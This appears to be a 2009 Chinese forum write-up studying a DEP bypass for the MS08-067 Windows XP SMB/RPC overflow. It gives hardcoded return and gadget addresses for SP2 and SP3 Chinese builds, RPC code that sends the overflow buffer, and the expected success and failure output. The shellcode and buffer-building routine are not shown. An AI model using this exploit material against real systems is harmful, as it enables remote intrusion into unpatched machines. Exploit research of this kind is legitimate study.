-
-
[原创]MS08-067通用bypass DEP的缓冲区溢出栈帧构造方法的学习
-
发表于:
2009-2-9 12:32
10589
-
[原创]MS08-067通用bypass DEP的缓冲区溢出栈帧构造方法的学习
【题目】一种在windows xp sp2 chs 和windows xp sp3 chs 系统中通用的能够bypass DEP的利用MS08-067漏洞缓冲区溢出的栈帧构造方法的学习
【作者】ParaChAos
【前言】由于该漏洞利用的一些关键地址在windows xp的每个版本中都会变动,为了提高漏洞攻击程序的通用性和溢出的成功率,在这里讨论了一种在windows xp sp2 chs 和windows xp sp3 chs 系统中通用的栈帧的构造。
我的系统环境如下:
Windows xp sp2 chs netapi32.dll 2600.2976
Windows xp sp3 chs netapi32.dll 2600.5512
本文假定你已经掌握了缓冲区溢出的基础知识,以及MS08-067的利用方法,并不做系统性的介绍,只总结该漏洞利用的关键片段。
【目录】
本文有以下内容:
1.bypass dep方法介绍
2.关键溢出代码(改自emm的代码)
3.关键栈帧的制造
4.代码在被溢出方的执行流程
【内容】
1.bypass dep方法介绍
本文主要是针对下面这篇帖子的学习与总结。虽然不知作者是谁,但还是要表示感谢。
引用自华夏黑客联盟的一篇帖子:
“通过ret-into-libc方法编写通用exp的一个小技巧
ms07029和ms08067这两个NB漏洞都使用ret-into-libc方法来绕过DEP数据执行保护,首先来科普下什么是ret-into- libc,一般的栈溢出控制eip后通过一些op code来跳到栈里执行shellcode,但是开启了数据执行保护的话,这种方法就不行了,那么我们只能控制eip往可以执行的地方跳,我们只能在可执行的地方找到符合我们要求的指令,来帮我们干活,干完活后我们还需要收回控制权,那么在干活指令后必须有一个ret(n),这样我们才有可能继续控制流程 跳转到另一个地方去干下一个活,理论上,通过构造stack frame也能完成shellcode的功能。但是这只是理论上说,谁也不会傻到整个shellcode通过stack frame跳来跳去来实现,一般只是利用这个技巧去执行ZwSetInformationProcess函数来关闭DEP,然后ret(n)回去用普通的 办法执行shellcode。 科普完来到正题,以ms08067为例子,XP上可以通过上述方法来关闭DEP,但是SP2 CHS和SP3 CHS的跳转地址不一样,那么如何实现通用呢,仔细想想如果我们能利用ret-to-libc先跳到一个地址,假设这个地址在SP2系统上是 pop/pop/pop/.../ret,在SP3系统上是pop/pop/pop/pop/.../ret,只要SP2和SP3上pop的次数不一致导致ret的时候esp不一致,那么就可以通过构造stack frame来分别跳转到各自系统的地址。有了这样一个大胆的假设后,我们需要小心的求证,随便一搜发现这样的地址很多,但是符合ms08067的具体情况 不异常的就难找了,尝试了多个地址后,功夫不负有心人,找到了一个符合要求且满足ms08067漏洞的特殊要求的地址,实现了SP2 CHS和SP3 CHS的Bypass DEP的Exp的通用(XP其他语言版本可以用类似方法)”
2.关键溢出代码
……………………………………………………………关键跳转地址,主要用来关DEP
DWORD dwDisableNXSP2 = 0x58FC16E2; //sp2 zwSetInformationProcess//noexecute
DWORD dwDisableNXSP3 = 0x58FC17C2; //sp3 zwSetInformationProcess//noexecute
DWORD dwRetAddrAll = 0x58FC094D; // pop/pop/pop/pop/ret on sp2 chs 或 ret on sp3 chs
DWORD dwJmpAddrSP3 = 0x7ffa4F54; // jmp esi
DWORD dwJmpAddrSP2 = 0x7ffa4512; // jmp esp
DWORD dwScratchAddr = 0x00020408; //占位但必须是readable address
……………………………………………………………改自EMM的代码
RpcTryExcept
{
//NetpwNameCompare(L"LittleWallE",L"123456789",L"123456789",4,0);
//这个数值学自LittleWallE的分析,感谢他详细的分析
//在栈上制造 L’\\’,也即 0x5c0x00
func23(L"parachaos","\x4c\x00\x10\x20","\x4c\x00\x10\x20",4,0);
memset(Buff,0,sizeof(Buff));
BufLen = MakeBuff(Buff,sizeof(Buff));
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WaitExit,(LPVOID)NULL,0,&dwID);
(DWORD)*(DWORD *)Buff3 = 1;
//NetpwPathCanonicalize(arg_0,(unsigned short *)arg1,(unsigned char *)arg2,arg3,arg4,(long *)Buff3,1);
//send buff
func1f(L"EMM!",(wchar_t *)Buff,Buff2,1000,L"",(DWORD *)Buff3,1);
}
RpcExcept ( 1 )
{
status = RpcExceptionCode();
if(status == 1726)
{
}
else
{
printf("RpcExceptionCode() = %u\r\n", status );
return;
}
}
RpcEndExcept
/*
如果返回信息为:Make SMB Connection error:53或者Make SMB Connection error:1219,
后面的数字可能是变化的。那么说明该主机没有开机连网或者没有安装 Microsoft 网络的文件和打印机共享协议 或没有启动Server服务,因此无法进行溢出。
还有一种情况是返回信息为:
SMB Connect OK!
RpcExceptionCode() = 1722
出现这样的情况,溢出失败,对方可能开启了防火墙。
那么最后就是成功的提示信息了:
SMB Connect OK!
Send Payload Over!
*/
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)